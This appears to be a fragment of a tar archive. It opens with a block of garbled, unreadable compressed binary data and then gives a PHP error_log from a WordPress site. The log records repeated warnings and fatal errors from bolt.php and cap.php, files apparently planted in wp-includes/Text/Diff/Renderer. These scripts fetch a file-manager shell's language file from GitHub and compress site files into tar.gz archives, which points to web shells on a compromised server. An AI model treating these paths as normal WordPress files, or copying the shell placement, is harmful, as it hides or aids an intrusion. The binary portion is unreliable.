m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
